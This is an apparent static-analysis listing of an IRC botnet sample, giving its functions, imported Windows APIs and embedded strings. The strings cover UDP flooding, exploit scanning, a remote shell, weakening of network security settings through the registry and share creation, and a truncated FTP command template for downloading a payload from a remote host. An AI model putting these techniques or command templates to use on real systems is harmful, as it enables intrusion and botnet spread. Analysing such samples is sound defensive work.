<font color=brown></font></pre></td></tr><tr id="sub_41CDE1"><td><pre><a name="sub_41CDE1"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CDE1"><font size=+2>sub_41CDE1</a>(5cb8)</font>:<font color=darkgreen>
	KERNEL32.IsBadWritePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CDC5"><td><pre><a name="sub_41CDC5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CDC5"><font size=+2>sub_41CDC5</a>(5cb8)</font>:<font color=darkgreen>
	KERNEL32.IsBadReadPtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E495"><td><pre><a name="sub_40E495"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E495"><font size=+2>sub_40E495</a>(5cfa)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown>
	"%s"
	"%s%i"
</font></pre></td></tr><tr id="sub_406E62"><td><pre><a name="sub_406E62"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406E62"><font size=+2>sub_406E62</a>(610b)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.ntohs
	WS2_32.sendto
	KERNEL32.Sleep
	KERNEL32.ExitThread</font>
<font color=brown>
	"[UDP]: Error sending pings to	%s."
	"[UDP]: Finished sending packets to %s."
</font></pre></td></tr><tr id="sub_40468E"><td><pre><a name="sub_40468E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40468E"><font size=+2>sub_40468E</a>(61d5)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	KERNEL32.GetDiskFreeSpaceExA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.LoadLibraryA
	WININET.InternetOpenA</font>
<font color=brown>
	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
</font></pre></td></tr><tr id="sub_4067C0"><td><pre><a name="sub_4067C0"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4067C0"><font size=+2>sub_4067C0</a>(634c)</font>:<font color=darkgreen>
	ADVAPI32.IsValidSecurityDescriptor</font>
<font color=brown>
	"Share	name:	 Resource:		 "...
	"[NET]: Share list error: %s <%ld>"
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"
</font></pre></td></tr><tr id="sub_419FFA"><td><pre><a name="sub_419FFA"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_419FFA"><font size=+2>sub_419FFA</a>(63d5)</font>:<font color=darkgreen>
	KERNEL32.UnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_40253D"><td><pre><a name="sub_40253D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40253D"><font size=+2>sub_40253D</a>(63f7)</font>:<font color=brown>
	"%sKB"
	"failed"
</font></pre></td></tr><tr id="sub_41A49C"><td><pre><a name="sub_41A49C"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41A49C"><font size=+2>sub_41A49C</a>(6487)</font>:<font color=darkgreen>
	KERNEL32.GetEnvironmentStringsW
	NTDLL.RtlGetLastWin32Error
	KERNEL32.WideCharToMultiByte
	KERNEL32.FreeEnvironmentStringsW
	KERNEL32.GetEnvironmentStringsA
	KERNEL32.FreeEnvironmentStringsA</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F005"><td><pre><a name="sub_40F005"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F005"><font size=+2>sub_40F005</a>(655e)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_40751F"><td><pre><a name="sub_40751F"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40751F"><font size=+2>sub_40751F</a>(68d7)</font>:<font color=darkgreen>
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.Sleep
	WSOCK32.recv</font>
<font color=brown>
	"PASS	%s\r\n"
	" :"
	"|"
	"|"
</font></pre></td></tr><tr id="sub_413820"><td><pre><a name="sub_413820"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_413820"><font size=+2>sub_413820</a>(6ea5)</font>:<font color=darkgreen>
	KERNEL32.GetSystemTimeAsFileTime</font>
<font color=brown></font></pre></td></tr><tr id="sub_4015FE"><td><pre><a name="sub_4015FE"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4015FE"><font size=+2>sub_4015FE</a>(6ee1)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D96E"><td><pre><a name="sub_41D96E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41D96E"><font size=+2>sub_41D96E</a>(71c7)</font>:<font color=darkgreen>
	KERNEL32.SetEndOfFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4182E4"><td><pre><a name="sub_4182E4"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4182E4"><font size=+2>sub_4182E4</a>(72cc)</font>:<font color=darkgreen>
	KERNEL32.LCMapStringW
	NTDLL.RtlGetLastWin32Error
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte
	KERNEL32.LCMapStringA</font>
<font color=brown></font></pre></td></tr><tr id="sub_402658"><td><pre><a name="sub_402658"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_402658"><font size=+2>sub_402658</a>(72d0)</font>:<font color=brown>
	"failed"
	"[MAIN]: %s Drive (%s): Failed	to stat, "...
	"[MAIN]: %s Drive (%s): %s total, %s fre"...
</font></pre></td></tr><tr id="sub_4133A6"><td><pre><a name="sub_4133A6"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4133A6"><font size=+2>sub_4133A6</a>(736f)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_414004"><td><pre><a name="sub_414004"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_414004"><font size=+2>sub_414004</a>(7559)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4169A5"><td><pre><a name="sub_4169A5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4169A5"><font size=+2>sub_4169A5</a>(76df)</font>:<font color=darkgreen>
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40FD69"><td><pre><a name="sub_40FD69"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40FD69"><font size=+2>sub_40FD69</a>(775b)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_4039DE"><td><pre><a name="sub_4039DE"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4039DE"><font size=+2>sub_4039DE</a>(7899)</font>:<font color=darkgreen>
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"text/html"
	"application/octet-stream"
	"ddd, dd	MMM yyyy"
	"HH:mm:ss"
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_405F46"><td><pre><a name="sub_405F46"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405F46"><font size=+2>sub_405F46</a>(7c92)</font>:<font color=darkgreen>
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_4060D0"><td><pre><a name="sub_4060D0"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4060D0"><font size=+2>sub_4060D0</a>(7d4d)</font>:<font color=brown>
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"
	"[NET]: User info error: <%ld>"
</font></pre></td></tr><tr id="sub_41BBD8"><td><pre><a name="sub_41BBD8"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41BBD8"><font size=+2>sub_41BBD8</a>(7dab)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	KERNEL32.InitializeCriticalSectionAndSpinCount
	NTDLL.RtlSetLastWin32Error</font>
<font color=brown>
	"kernel32.dll"
	"InitializeCriticalSectionAndSpinCount"
</font></pre></td></tr><tr id="sub_416304"><td><pre><a name="sub_416304"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416304"><font size=+2>sub_416304</a>(7ee0)</font>:<font color=darkgreen>
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_411A2E"><td><pre><a name="sub_411A2E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_411A2E"><font size=+2>sub_411A2E</a>(7f2e)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WSOCK32.recv
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket</font>
<font color=brown>
	"echo open %s %d>o&echo USER a>>o&echo	a"...
	"%s\r\n"
</font></pre></td></tr><tr id="sub_406B55"><td><pre><a name="sub_406B55"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406B55"><font size=+2>sub_406B55</a>(7fe5)</font>:<font color=darkgreen>
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry</font>
<font color=brown>
	"[FLUSHDNS]: Error getting ARP	cache: <%"...
	"[FLUSHDNS]: ARP cache	is empty."
	"[FLUSHDNS]: Unable to	allocation ARP ca"...
	"[FLUSHDNS]: Not supported by this syste"...
</font></pre></td></tr><tr id="sub_41B98E"><td><pre><a name="sub_41B98E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B98E"><font size=+2>sub_41B98E</a>(814f)</font>:<font color=darkgreen>
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_405708"><td><pre><a name="sub_405708"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405708"><font size=+2>sub_405708</a>(8344)</font>:<font color=darkgreen>
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA</font>
<font color=brown>
	"%s	Error: %s <%d>."
</font></pre></td></tr><tr id="sub_4197D8"><td><pre><a name="sub_4197D8"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4197D8"><font size=+2>sub_4197D8</a>(872d)</font>:<font color=brown>
	"exp"
	"exp"
	"log10"
	"log10"
	"log"
	"log"
	"pow"
	"pow"
	"pow"
	"log10"
	"log"
	"log2"
	"log2"
	"exp10"
	"exp2"
	"exp"
	"modf"
	"pow"
	"floor"
	"ceil"
	"atan"
</font></pre></td></tr><tr id="sub_4111EB"><td><pre><a name="sub_4111EB"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4111EB"><font size=+2>sub_4111EB</a>(8826)</font>:<font color=darkgreen>
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_401000"><td><pre><a name="sub_401000"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401000"><font size=+2>sub_401000</a>(8889)</font>:<font color=brown>
	"[SCAN]: Exploit Statistics:"
	" %s:	%d,"
	" Total: %d in %s."
</font></pre></td></tr><tr id="sub_401C33"><td><pre><a name="sub_401C33"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401C33"><font size=+2>sub_401C33</a>(8946)</font>:<font color=darkgreen>
	KERNEL32.GetLocalTime</font>
<font color=brown>
	"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_405BA9"><td><pre><a name="sub_405BA9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405BA9"><font size=+2>sub_405BA9</a>(899f)</font>:<font color=darkgreen>
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_413E04"><td><pre><a name="sub_413E04"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_413E04"><font size=+2>sub_413E04</a>(8af0)</font>:<font color=darkgreen>
	NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_4028A8"><td><pre><a name="sub_4028A8"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4028A8"><font size=+2>sub_4028A8</a>(8bb0)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.send
	WSOCK32.recv
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_411120"><td><pre><a name="sub_411120"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_411120"><font size=+2>sub_411120</a>(8c69)</font>:<font color=brown>
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."
</font></pre></td></tr><tr id="sub_405792"><td><pre><a name="sub_405792"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405792"><font size=+2>sub_405792</a>(8e50)</font>:<font color=darkgreen>
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard</font>
<font color=brown></font></pre></td></tr><tr id="sub_40D9BC"><td><pre><a name="sub_40D9BC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40D9BC"><font size=+2>sub_40D9BC</a>(90b5)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.WSAAsyncSelect
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"[REDIRECT]: Client connection	from IP: "...
	"[REDIRECT]: Failed to	start client thre"...
</font></pre></td></tr><tr id="sub_4070E8"><td><pre><a name="sub_4070E8"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4070E8"><font size=+2>sub_4070E8</a>(91ea)</font>:<font color=darkgreen>
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	KERNEL32.Process32Next
	KERNEL32.lstrcmpiA
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	KERNEL32.Module32First
	KERNEL32.Sleep
	KERNEL32.SetFileAttributesA
	KERNEL32.DeleteFileA</font>
<font color=brown>
	"SeDebugPrivilege"
	" %s (%d)"
	"SeDebugPrivilege"
	"Could	not delete '%s'.!\n"
	"Cannot extract process path for %s\n"
</font></pre></td></tr><tr id="sub_4068DF"><td><pre><a name="sub_4068DF"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4068DF"><font size=+2>sub_4068DF</a>(9348)</font>:<font color=brown>
	"[NET]: %s username: '%s'."
	"[NET]: %s: Error with	username: '%s'. %"...
	"[NET]: %s: No	username specified."
</font></pre></td></tr><tr id="sub_4192C7"><td><pre><a name="sub_4192C7"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4192C7"><font size=+2>sub_4192C7</a>(986a)</font>:<font color=darkgreen>
	KERNEL32.GetCPInfo</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E8FF"><td><pre><a name="sub_40E8FF"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E8FF"><font size=+2>sub_40E8FF</a>(9885)</font>:<font color=darkgreen>
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	WS2_32.ntohl</font>
<font color=brown>
	"[SCAN]: Scanning IP: %s, Port: %d."
</font></pre></td></tr><tr id="sub_4045DD"><td><pre><a name="sub_4045DD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4045DD"><font size=+2>sub_4045DD</a>(992b)</font>:<font color=darkgreen>
	WS2_32.send
	KERNEL32.Sleep</font>
<font color=brown>
	"NOTICE"
	"PRIVMSG"
	"%s"
	"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_4018D1"><td><pre><a name="sub_4018D1"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4018D1"><font size=+2>sub_4018D1</a>(9998)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	WS2_32.inet_ntoa
	KERNEL32.ExitThread</font>
<font color=brown>
	"[SCAN]: Failed to initialize critical	s"...
	"[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
	"[SCAN]: Failed to start worker thread, "...
	"[SCAN]: Finished at %s:%d after %d minu"...
</font></pre></td></tr><tr id="sub_41B841"><td><pre><a name="sub_41B841"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B841"><font size=+2>sub_41B841</a>(99b4)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_40FD16"><td><pre><a name="sub_40FD16"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40FD16"><font size=+2>sub_40FD16</a>(9b6d)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown>
	"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_40584F"><td><pre><a name="sub_40584F"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40584F"><font size=+2>sub_40584F</a>(9d9d)</font>:<font color=darkgreen>
	KERNEL32.SearchPathA
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime</font>
<font color=brown>
	"explorer.exe"
</font></pre></td></tr><tr id="sub_4058F3"><td><pre><a name="sub_4058F3"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4058F3"><font size=+2>sub_4058F3</a>(9dbe)</font>:<font color=darkgreen>
	USER32.ExitWindowsEx</font>
<font color=brown>
	"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_41D896"><td><pre><a name="sub_41D896"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41D896"><font size=+2>sub_41D896</a>(a160)</font>:<font color=darkgreen>
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40ECEC"><td><pre><a name="sub_40ECEC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40ECEC"><font size=+2>sub_40ECEC</a>(a27a)</font>:<font color=darkgreen>
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA</font>
<font color=brown>
	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"[SECURE]: Enable DCOM	failed."
	"[SECURE]: DCOM enabled."
	"[SECURE]: Failed to open DCOM	registry "...
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"[SECURE]: Failed to unrestrict access	t"...
	"[SECURE]: Unrestricted access	to the IP"...
	"[SECURE]: Failed to open IPC$	restricti"...
	"[SECURE]: Advapi32.dll couldn't be load"...
	"[SECURE]: Share '%s' added."
	"[SECURE]: Failed to add '%s' share."
	"%c$"
	"%c:\\"
	"[SECURE]: Share '%s' added."
	"[SECURE]: Failed to add '%s' share."
	"[SECURE]: Network shares added."
	"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_406B1D"><td><pre><a name="sub_406B1D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406B1D"><font size=+2>sub_406B1D</a>(a7dd)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	WS2_32.gethostbyname</font>
<font color=brown></font></pre></td></tr><tr id="sub_40D744"><td><pre><a name="sub_40D744"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40D744"><font size=+2>sub_40D744</a>(a9d2)</font>:<font color=darkgreen>
	WS2_32.send
	WSOCK32.recv
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E9C5"><td><pre><a name="sub_40E9C5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E9C5"><font size=+2>sub_40E9C5</a>(ac2a)</font>:<font color=darkgreen>
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey</font>
<font color=brown>
	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"[SECURE]: Disable DCOM failed."
	"[SECURE]: DCOM disabled."
	"[SECURE]: Failed to open DCOM	registry "...
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"[SECURE]: Failed to restrict access to "...
	"[SECURE]: Restricted access to the IPC$"...
	"[SECURE]: Failed to open IPC$	Restricti"...
	"[SECURE]: Advapi32.dll couldn't be load"...
	"[SECURE]: Share '%s' deleted."
	"[SECURE]: Failed to delete '%s' share."
	"[SECURE]: Share '%S' deleted."
	"[SECURE]: Failed to delete '%S' share."
	"[SECURE]: Network shares deleted."
	"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_4074FD"><td><pre><a name="sub_4074FD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4074FD"><font size=+2>sub_4074FD</a>(ac5c)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_4143B9"><td><pre><a name="sub_4143B9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4143B9"><font size=+2>sub_4143B9</a>(ac9b)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	KERNEL32.ExitProcess</font>
<font color=brown>
	"mscoree.dll"
	"CorExitProcess"
</font></pre></td></tr><tr id="sub_41CE2D"><td><pre><a name="sub_41CE2D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CE2D"><font size=+2>sub_41CE2D</a>(b2ae)</font>:<font color=darkgreen>
	NTDLL.RtlSizeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4024AC"><td><pre><a name="sub_4024AC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4024AC"><font size=+2>sub_4024AC</a>(b2db)</font>:<font color=darkgreen>
	KERNEL32.GetDriveTypeA</font>
<font color=brown>
	"?"
	"RAM"
	"Cdrom"
	"Network"
	"Disk"
	"Invalid"
	"Unknown"
</font></pre></td></tr><tr id="sub_415438"><td><pre><a name="sub_415438"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_415438"><font size=+2>sub_415438</a>(b456)</font>:<font color=darkgreen>
	KERNEL32.TlsFree</font>
<font color=brown></font></pre></td></tr><tr id="sub_4065CE"><td><pre><a name="sub_4065CE"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4065CE"><font size=+2>sub_4065CE</a>(b6b2)</font>:<font color=darkgreen>
	KERNEL32.GetComputerNameA</font>
<font color=brown>
	"[NET]: Message sent successfully."
	"[NET]: %s <Server: %S> <Message: %S>"
</font></pre></td></tr><tr id="sub_414125"><td><pre><a name="sub_414125"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_414125"><font size=+2>sub_414125</a>(b873)</font>:<font color=darkgreen>
	KERNEL32.DeleteFileA
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_41C9A7"><td><pre><a name="sub_41C9A7"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41C9A7"><font size=+2>sub_41C9A7</a>(b9df)</font>:<font color=darkgreen>
	KERNEL32.GetSystemTimeAsFileTime
	KERNEL32.GetCurrentProcessId
	KERNEL32.GetCurrentThreadId
	KERNEL32.GetTickCount
	KERNEL32.QueryPerformanceCounter</font>
<font color=brown></font></pre></td></tr><tr id="sub_403E06"><td><pre><a name="sub_403E06"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_403E06"><font size=+2>sub_403E06</a>(bb0b)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WSOCK32.recv
	WS2_32.closesocket
	WS2_32.select
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread</font>
<font color=brown>
	"GET	"
	" "
	"\r\n"
	"[HTTPD]: Error: server failed, returned"...
</font></pre></td></tr><tr id="sub_47E012"><td><pre><a name="sub_47E012"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_47E012"><font size=+2>sub_47E012</a>(bbcc)</font>:<font color=darkgreen>
	KERNEL32.LoadLibraryA</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DC39"><td><pre><a name="sub_40DC39"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DC39"><font size=+2>sub_40DC39</a>(bd0f)</font>:<font color=darkgreen>
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.ExitThread</font>
<font color=brown>
	"[CMD]: Could not read	data from procces"...
	"[CMD]: Proccess has terminated.\r\n"
	"[CMD]: Could not read	data from procces"...
